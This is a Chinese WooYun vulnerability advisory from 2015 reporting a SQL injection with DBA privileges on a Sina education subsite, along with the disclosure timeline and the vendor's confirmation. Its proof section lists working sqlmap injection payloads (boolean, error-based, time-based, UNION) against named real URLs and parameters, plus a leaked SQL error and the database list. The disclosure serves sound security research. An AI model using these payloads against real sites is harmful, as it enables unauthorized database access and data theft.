当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118423

漏洞标题:新浪某站某SQL注射DBA权限

相关厂商:新浪

漏洞作者: 紫霞仙子

提交时间:2015-06-05 15:44

修复时间:2015-07-20 16:02

公开时间:2015-07-20 16:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-05: 细节已通知厂商并且等待厂商处理中
2015-06-05: 厂商已经确认,细节仅向厂商公开
2015-06-15: 细节向核心白帽子及相关领域专家公开
2015-06-25: 细节向普通白帽子公开
2015-07-05: 细节向实习白帽子公开
2015-07-20: 细节向公众公开

简要描述:

233

详细说明:

http://ischool.edu.sina.com/school/lists.html?country=&course_style=1
还有几处报错:
http://ischool.edu.sina.com/school/lists.html?keyword=1
http://ischool.edu.sina.com/school/lists.html?page=\&school_city=171&school_prov=8
Error Number: 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%') ORDER BY `sid` asc LIMIT 10' at line 3
SELECT * FROM (`school_info`) WHERE `st_flag` = 0 and (s_name LIKE '%1'"%' or course_style LIKE '%1'"%') ORDER BY `sid` asc LIMIT 10
Filename: /alidata/www/phpwind/models/model.php

漏洞证明:

---
Parameter: course_style (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: country=&course_style=-2215' OR 4155=4155 AND 'JnPW'='JnPW
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: country=&course_style=1' OR (SELECT 3647 FROM(SELECT COUNT(*),CONCAT(0x7162716271,(SELECT (ELT(3647=3647,1))),0x7171786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'gZxI'='gZxI
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: country=&course_style=1' OR SLEEP(5) AND 'osEJ'='osEJ
Type: UNION query
Title: MySQL UNION query (NULL) - 51 columns
Payload: country=&course_style=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162716271,0x5646487750515944564b,0x7171786271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---
web application technology: Nginx, PHP 5.5.7
back-end DBMS: MySQL 5.0
current user: 'root@localhost'
current user is DBA: True
available databases [5]:
[*] information_schema
[*] ischool
[*] mysql
[*] performance_schema
[*] test

修复方案:

~~~~~~~

版权声明:转载请注明来源 紫霞仙子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-06-05 16:01

厂商回复:

感谢支持,漏洞修复中。

最新状态:

暂无